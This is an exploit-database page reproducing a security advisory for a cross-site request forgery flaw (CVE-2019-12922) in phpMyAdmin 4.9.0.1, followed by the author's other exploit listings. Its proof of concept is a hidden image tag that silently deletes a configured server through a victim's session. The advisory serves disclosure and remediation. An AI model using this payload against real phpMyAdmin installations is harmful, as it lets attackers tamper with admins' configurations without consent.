Search for hundreds of thousands of exploits

"phpMyAdmin 4.9.0.1 - Cross-Site Request Forgery"

Author

Exploit author

"Manuel García Cárdenas"

Platform

Exploit platform

php

Release date

Exploit published date

2019-09-13

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
=============================================
MGC ALERT 2019-003
- Original release date: June 13, 2019
- Last revised:  September 13, 2019
- Discovered by: Manuel Garcia Cardenas
- Severity: 4,3/10 (CVSS Base Score)
- CVE-ID: CVE-2019-12922
=============================================

I. VULNERABILITY
-------------------------
phpMyAdmin 4.9.0.1 - Cross-Site Request Forgery

II. BACKGROUND
-------------------------
phpMyAdmin is a free software tool written in PHP, intended to handle the
administration of MySQL over the Web. phpMyAdmin supports a wide range of
operations on MySQL and MariaDB.

III. DESCRIPTION
-------------------------
Has been detected a Cross-Site Request Forgery in phpMyAdmin, that allows
an attacker to trigger a CSRF attack against a phpMyAdmin user deleting any
server in the Setup page.

IV. PROOF OF CONCEPT
-------------------------
Exploit CSRF - Deleting main server

<p>Deleting Server 1</p>
<img src="
http://server/phpmyadmin/setup/index.php?page=servers&mode=remove&id=1"
style="display:none;" />

V. BUSINESS IMPACT
-------------------------
The attacker can easily create a fake hyperlink containing the request that
wants to execute on behalf the user,in this way making possible a CSRF
attack due to the wrong use of HTTP method.

VI. SYSTEMS AFFECTED
-------------------------
phpMyAdmin <= 4.9.0.1

VII. SOLUTION
-------------------------
Implement in each call the validation of the token variable, as already
done in other phpMyAdmin requests.

VIII. REFERENCES
-------------------------
https://www.phpmyadmin.net/

IX. CREDITS
-------------------------
This vulnerability has been discovered and reported
by Manuel Garcia Cardenas (advidsec (at) gmail (dot) com).

X. REVISION HISTORY
-------------------------
June 13, 2019 1: Initial release
September 13, 2019 2: Last revision

XI. DISCLOSURE TIMELINE
-------------------------
June 13, 2019 1: Vulnerability acquired by Manuel Garcia Cardenas
June 13, 2019 2: Send to vendor
July 16, 2019 3: New request to vendor without fix date
September 13, 2019 4: Sent to lists

XII. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.

XIII. ABOUT
-------------------------
Manuel Garcia Cardenas
Pentester
Release DateTitleTypePlatformAuthor
2020-05-21"Composr CMS 10.0.30 - Persistent Cross-Site Scripting"webappsphp"Manuel García Cárdenas"
2019-09-13"phpMyAdmin 4.9.0.1 - Cross-Site Request Forgery"webappsphp"Manuel García Cárdenas"
2019-03-13"WordPress Plugin GraceMedia Media Player 1.0 - Local File Inclusion"webappsphp"Manuel García Cárdenas"
2018-09-19"WordPress Plugin Wechat Broadcast 1.2.0 - Local File Inclusion"webappsphp"Manuel García Cárdenas"
2018-09-19"WordPress Plugin Localize My Post 1.0 - Local File Inclusion"webappsphp"Manuel García Cárdenas"
2018-06-11"WordPress Plugin Pie Register < 3.0.9 - Blind SQL Injection"webappsphp"Manuel García Cárdenas"
2018-04-18"Kodi 17.6 - Persistent Cross-Site Scripting"webappsmultiple"Manuel García Cárdenas"
2018-03-12"TextPattern 4.6.2 - 'qty' SQL Injection"webappsphp"Manuel García Cárdenas"
2018-01-12"PyroBatchFTP < 3.19 - Buffer Overflow"doswindows"Manuel García Cárdenas"
2017-12-15"Sync Breeze 10.2.12 - Denial of Service"doswindows"Manuel García Cárdenas"
2017-04-11"WordPress Plugin Spider Event Calendar 1.5.51 - Blind SQL Injection"webappsphp"Manuel García Cárdenas"
2016-09-22"Exponent CMS 2.3.9 - Blind SQL Injection"webappsphp"Manuel García Cárdenas"
2016-04-26"ImpressCMS 1.3.9 - SQL Injection"webappsphp"Manuel García Cárdenas"
2016-02-04"UliCMS v9.8.1 - SQL Injection"webappsphp"Manuel García Cárdenas"
2015-10-06"PHP-Fusion 7.02.07 - Blind SQL Injection"webappsphp"Manuel García Cárdenas"
2014-11-17"WebsiteBaker 2.8.3 - Multiple Vulnerabilities"webappsphp"Manuel García Cárdenas"
2014-11-17"Zoph 0.9.1 - Multiple Vulnerabilities"webappsphp"Manuel García Cárdenas"
2014-11-13"Piwigo 2.6.0 - 'picture.php?rate' SQL Injection"webappsphp"Manuel García Cárdenas"
2013-09-30"XAMPP 1.8.1 - 'lang.php?WriteIntoLocalDisk method' Local Write Access"webappsphp"Manuel García Cárdenas"
2013-06-04"Telaen 2.7.x - Open Redirection"webappsphp"Manuel García Cárdenas"
2013-06-04"Telaen 2.7.x - Cross-Site Scripting"webappsphp"Manuel García Cárdenas"
2013-06-03"Telaen - Information Disclosure"webappsphp"Manuel García Cárdenas"
2013-03-10"Asteriskguru Queue Statistics - 'warning' Cross-Site Scripting"webappsphp"Manuel García Cárdenas"
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/47385/?format=json')

For full documentation follow the link above

Cipherscan. A very simple way to find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.